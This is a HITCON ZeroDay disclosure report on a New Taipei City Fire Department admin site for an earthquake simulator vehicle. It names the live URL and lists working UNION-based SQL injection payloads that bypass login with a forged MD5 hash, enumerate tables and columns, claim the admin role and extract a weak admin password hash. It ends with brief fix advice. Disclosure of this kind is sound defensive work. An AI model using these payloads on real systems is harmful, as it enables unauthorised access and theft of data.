新北市政府消防局地震體驗車 SQL Injection + 弱密碼 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2019-00783
  •  發信 Vendor: 新北市政府消防局地震體驗車
  • Title: 新北市政府消防局地震體驗車 SQL Injection + 弱密碼
  • Introduction: SQL Injection + 弱密碼

處理狀態

目前狀態

公開
Last Update : 2019/10/07
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2019/08/07 01:03:05 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/07 09:34:22 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/07 10:15:48 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/07 10:16:06 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/07 10:16:47 : 新提交 (由 SomeApple 更新此狀態)
  • 2019/08/07 22:08:44 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/13 19:15:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/13 19:15:28 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/08/13 19:15:28 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2019/10/07 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2019-00783
  • 通報者:jk82421 (SomeApple)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://protection.fire.ntpc.gov.tw/car/admin/index.php

敘述

透過 sql injection 得到欄位大約有以下這幾個
123' union all select "1","1","1","1",1,1,1,1,1--'

然後因為 password 的欄位並沒有可以注入的風險
代表程式的邏輯上 password 是沒有進到 sql 去做 select 的
所以開始猜測 password 是明文還是 hash 比對
帳號: 123' union all select "1","1","1","1",1,1,1,1,1--'
密碼: 1
=> 無法過
123' union all select "1","1","1","202cb962ac59075b964b07152d234b70",1,1,1,1,1--'
密碼: 123
=> 可以過,是用 md5 加密

但因為看來似某個權限不足夠,導致無法連線到管理者頁面
所以透過以下指令獲得重要的 table 和 column
123' union all select "1","1",group_concat(table_name),"202cb962ac59075b964b07152d234b70",1,1,1,1,1 from information_schema.tables where 1=1--'
=> tbl_account
圖片

123' union all select "1","1",group_concat(column_name),"202cb962ac59075b964b07152d234b70",1,1,1,1,1 from information_schema.columns where 1=1--'
=> user_login, user_password, user_role
圖片

123' union all select "1","1",group_concat(user_role),"202cb962ac59075b964b07152d234b70",1,1,1,1,1 from tbl_account where 1=1--'
=> user_role: "管理者"
圖片

根據以上合併最後一個 SQL
123' union all select "1","1","1","202cb962ac59075b964b07152d234b70","管理者",1,1,1,1--'
圖片

另外
123' union all select "1","1",group_concat(user_password),"202cb962ac59075b964b07152d234b70",1,1,1,1,1 from tbl_account where 1=1--'
=> 4a7d1ed414474e4033ac29ccb8653d9b 此為 0000 的 md5 (弱密碼)
圖片

修補建議

1. 過濾字串
2. 別使用 md5, 使用 sha256
3. 別用弱密碼

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;